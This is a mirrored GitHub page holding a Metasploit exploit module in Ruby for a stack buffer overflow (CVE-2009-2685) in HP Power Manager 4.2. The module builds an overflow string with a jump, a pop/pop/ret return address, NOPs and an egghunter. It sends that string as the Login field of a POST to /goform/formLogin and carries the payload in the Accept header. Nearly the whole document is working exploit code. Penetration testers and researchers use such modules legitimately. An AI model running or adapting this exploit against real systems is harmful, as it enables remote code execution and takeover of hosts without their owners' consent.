mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
35d3bbf74d
See the complaint on #4039. This doesn't fix that particular issue (it's somewhat unrelated), but does solve around a file parsing problem reported by @void-in
85 lines
2.4 KiB
Ruby
85 lines
2.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::Egghunter
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Hewlett-Packard Power Manager Administration Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Hewlett-Packard Power Manager 4.2.
|
|
Sending a specially crafted POST request with an overly long Login string, an
|
|
attacker may be able to execute arbitrary code.
|
|
},
|
|
'Author' => [ 'MC', 'sinn3r' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-2685' ],
|
|
[ 'OSVDB', '59684'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
#'Space' => 600,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
'EncoderOptions' => { 'BufferRegister'=>'EDI' },
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ], # pop/pop/ret in msvcp60.dll
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Nov 4 2009'))
|
|
end
|
|
|
|
def exploit
|
|
|
|
opts = { :checksum => true }
|
|
hunter,p = generate_egghunter(payload.encoded, payload_badchars, opts)
|
|
|
|
sploit = rand_text_alpha_upper(2024)
|
|
|
|
# Around 600 bytes of room for egghunter
|
|
sploit[633,2] = Rex::Arch::X86.jmp_short(24)
|
|
sploit[635,4] = [target.ret].pack('V')
|
|
sploit[639,32] = make_nops(32)
|
|
sploit[671,hunter.length] = hunter
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
req = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => '/goform/formLogin',
|
|
'vars_post' => {
|
|
'HtmlOnly' => 'true',
|
|
'Login' => sploit + 'passwd',
|
|
'Password' => '',
|
|
'loginButton' => 'Submit+Login'
|
|
},
|
|
'headers' => {
|
|
'Accept' => p
|
|
}
|
|
}, 10)
|
|
|
|
select(nil,nil,nil,5)
|
|
handler
|
|
end
|
|
|
|
end
|